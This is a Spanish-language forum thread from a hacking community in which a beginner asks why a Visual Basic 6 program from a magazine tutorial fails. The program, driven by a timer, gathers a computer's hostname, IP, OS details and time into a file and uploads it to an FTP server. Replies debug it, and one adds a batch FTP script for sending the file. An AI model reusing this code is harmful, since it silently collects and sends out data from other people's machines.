Hack x Crack - Comunidad de Seguridad informática

Programación => Visual Basic => Mensaje iniciado por: InTheEnd147 en Noviembre 30, 2011, 05:53:42 pm

Título: Ayuda con VisualBasic y FTP
Publicado por: InTheEnd147 en Noviembre 30, 2011, 05:53:42 pm
Buenas Tardes, xD bueno. SOy nuevo en esto, intento aprender con las Revistas de HackxCrack q por cierto son muy buenas, Estaba practicando la revista numero 7, y encontrado un problema, no me sale errores, creo q todo esta bien, el problema que al ejecutar,(depurar) el proyecto para ver como va, no envia nada al Servidor FTP, pongo aqui el codigo espero no se molesten y me ayuden, en q estoy mal, soy nuevo, no sean tan malos conmigo. Gracias


Dim Ti

Private Sub Command1_Click()

Ti = Ti + 1
           
If Ti = 10 Then
     Open ("prueba.txt") For Output As #1
     Print #1, Winsock1.LocalHostName
     Print #1, Winsock1.LocalIP
     Print #1, SysInfo1.OSPlatform
     Print #1, SysInfo1.OSVersion
     Print #1, Date
     Print #1, Time
      Close #1
     
     Inet1.Execute "ftp://...@...", "PUT prueba.txt" & Winsock1.LocalHostName & ".txt"
   Ti = 0
   

End If
End Sub
Private Sub Form_load()
Ti = 0
Timer1.Interval = 1000
End Sub


Private Sub Timer1_Timer()
Call Command1_Click
End Sub
Título: Re:Ayuda con VisualBasic y FTP
Publicado por: iTz-MASKAXAPASS en Noviembre 30, 2011, 05:56:56 pm
creo que tienes que poner dim TI as integer o el tipo de dato que sea no me agas mucho caso de todas formas
Título: Re:Ayuda con VisualBasic y FTP
Publicado por: hackmin en Diciembre 01, 2011, 11:24:32 am
Una pregunta ¿sabes que significa cada linea?
Título: Re:Ayuda con VisualBasic y FTP
Publicado por: kimmo en Diciembre 01, 2011, 01:31:19 pm
Mira, talvez sean cosas que no funcionen, pero te voy a decír lo que para mi está mal.

el Dim Ti, por lo que veo no está en ningun lado, lo estás declarando de forma global?
otra cosa, no recuerdo si en vb6, si no especificas tipo de dato te lo toma como Variant, no recuerdo, pero por las dudas, yo te diria que declares el tipo de dato de TI a Integer, y que lo declares en el Load.
Y despues me queda duda en el if...
Por lo que veo, en el boton que tenes, hasta que no apretas 10 veces el boton no va a pasar nada, es eso lo que necesitar hacer? es medio raro, por lo que veo, vas incrementando TI por cada click, entonces, cuando clickeas 10 veces recién ocurre lo que está en el If, y luego lo volves a poner en 0, osea que hay que volver a clickear 10 veces más...... (osea que tenes que apretar 10 click para hacer el inet1.execute, que calculo que debe ser lo que te manda datos al ftp)...
Otra cosa, en donde dice inet1.execute... eso de donde sale? es decír, está en alguna libreria, hiciste algun include? porque yo no veo donde está definido eso (a no ser que sea una variable estatica del vb6, pero no creo.. o está en alguna libreria o algo falta).
Tambien creaste el metodo Private Sub Timer1_Timer() pero no veo que lo uses en ningun lugar...
puede ser que falta codigo que no nos estás mostrando?

Espero poder ayudarte en algo, salutes.


Título: Re:Ayuda con VisualBasic y FTP
Publicado por: Infectedbug en Diciembre 01, 2011, 03:10:01 pm
Dim Ti

Private Sub Command1_Click()

Ti = Ti + 1
           
If Ti = 10 Then
     Open ("prueba.txt") For Output As #1
     Print #1, Winsock1.LocalHostName
     Print #1, Winsock1.LocalIP
     Print #1, SysInfo1.OSPlatform
     Print #1, SysInfo1.OSVersion
     Print #1, Date
     Print #1, Time
      Close #1
     
     Inet1.Execute "ftp://...@...", "PUT prueba.txt" & Winsock1.LocalHostName & ".txt"
   Ti = 0
   

End If
End Sub
Private Sub Form_load()
Ti = 0
Timer1.Interval = 1000
End Sub


Private Sub Timer1_Timer()
Call Command1_Click
End Sub


Inet1.Execute "ftp://...@...", "PUT prueba.txt" & Winsock1.LocalHostName & ".txt"

Pusiste "ftp://user:pass@direcciondeftp"?



EDIT:

Me pasa exactamente lo mismo que a vos :B . Acabo de hacer el programa pero no me lo manda. Tiene que ser un problema del Inet seguro, porque pude conectarme desde la cmd a mi ftp y pude pasar el archivo :/


REEDIT :P :

 Estuve buscando info en google , y como encontre cosas que no me servían pense ¿por que no lo hago con batch? , ya que visual basic puede usar la shell de windows.
 Entonces arme estos archivos:

 A.bat
Código: [Seleccionar]
ftp -s:rojo.txt
rojo.txt
Código: [Seleccionar]
      open
         servidor ftp
         usuario
         contraseña
         send "archivo.txt"

Esos archivos funcionan por si solos, pero no tendrías todas las características de poder sacar la ip y todos los otros datos que te permite sacar en Visual Basic. Asi que lo único que hay que hacer es meter esos códigos en el Visual Basic y todo funcionaria perfecto :)